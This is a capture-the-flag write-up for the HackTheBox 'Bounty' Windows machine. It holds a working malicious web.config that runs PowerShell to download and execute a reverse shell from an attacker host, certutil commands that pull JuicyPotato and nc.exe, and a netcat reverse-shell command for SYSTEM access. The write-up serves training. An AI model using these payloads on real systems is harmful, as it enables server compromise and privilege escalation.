Skip to content

Bounty Writeup - HackTheBox

Easy Windows
Mohammad Meraj

Independent Security Researcher

Bounty is a Windows box that chains two techniques: a file upload form on IIS 7.5 that blocks .aspx but accepts .config enables execution via an IIS handler mapping in a malicious web.config, and SeImpersonatePrivilege on the service account makes JuicyPotato a straight path to SYSTEM.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open 10.129.55.79:80
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p80 $TARGET_IP
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
| http-methods:
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Single port, IIS 7.5. The X-Powered-By: ASP.NET response header confirms the stack.

Web Enumeration

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://$TARGET_IP/ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
-x .aspx,.txt,.html,.config
200      GET   /merlin.jpg
200      GET   /transfer.aspx

/transfer.aspx is a file upload form. Uploading a direct .aspx webshell returns "Invalid File. Please try again." -- an extension filter is in place. Fuzzing extensions via Burp shows .config is accepted and returns "File uploaded successfully."

Initial Access

IIS web.config handler abuse

On IIS, web.config can register handler mappings. By mapping *.config to asp.dll, the uploaded file is processed as classic ASP and any embedded VBScript executes. The filter allows .config but never accounted for this.

Craft a web.config that registers the handler and drops a reverse shell payload:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll"
              resourceType="Unspecified" requireAccess="Write"
              preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://$ATTACKER_IP/Invoke-PowerShellTcp.ps1')")
%>

Append the callback line to the end of Nishang's Invoke-PowerShellTcp.ps1:

┌──(kali㉿kali)-[~]
└─$ echo 'Invoke-PowerShellTcp -Reverse -IPAddress $ATTACKER_IP -Port $ATTACKER_PORT' >> Invoke-PowerShellTcp.ps1

Serve both files:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80

Start the listener:

┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $ATTACKER_PORT

Upload web.config through /transfer.aspx, then browse to http://$TARGET_IP/uploadedfiles/web.config to trigger execution. IIS processes the VBScript, which fetches and runs the PowerShell reverse shell.

┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49158
Windows PowerShell running as user BOUNTY$ on BOUNTY
PS C:\windows\system32\inetsrv> whoami
bounty\merlin

Shell as bounty\merlin.

Privilege Escalation

SeImpersonatePrivilege via JuicyPotato

C:\Users\Guest\Desktop> whoami /priv
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SeImpersonatePrivilege is enabled. Serve JuicyPotato and nc.exe from the attacker box and pull them down on the target:

C:\Users\Guest\Desktop> certutil.exe -urlcache -split -f http://$ATTACKER_IP/JuicyPotato.exe C:\Windows\Temp\jp.exe
C:\Users\Guest\Desktop> certutil.exe -urlcache -split -f http://$ATTACKER_IP/nc.exe C:\Windows\Temp\nc.exe

Verify the impersonation works:

C:\Users\Guest\Desktop> C:\Windows\Temp\jp.exe -t * -p cmd.exe -a "whoami" -l 1337
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

SYSTEM impersonation confirmed. The * flag lets JuicyPotato choose CreateProcessWithTokenW, which works for the token but does not attach stdin/stdout correctly for an interactive shell with Netcat. Force CreateProcessAsUser with -t u instead:

C:\Users\Guest\Desktop> C:\Windows\Temp\jp.exe -t u -l 1337 -p C:\Windows\Temp\nc.exe -a "-e C:\Windows\System32\cmd.exe $ATTACKER_IP 4444"
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp 4444
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49319
Microsoft Windows [Version 6.1.7600]
C:\Windows\system32>whoami
nt authority\system

SYSTEM via token impersonation through a COM server coerce.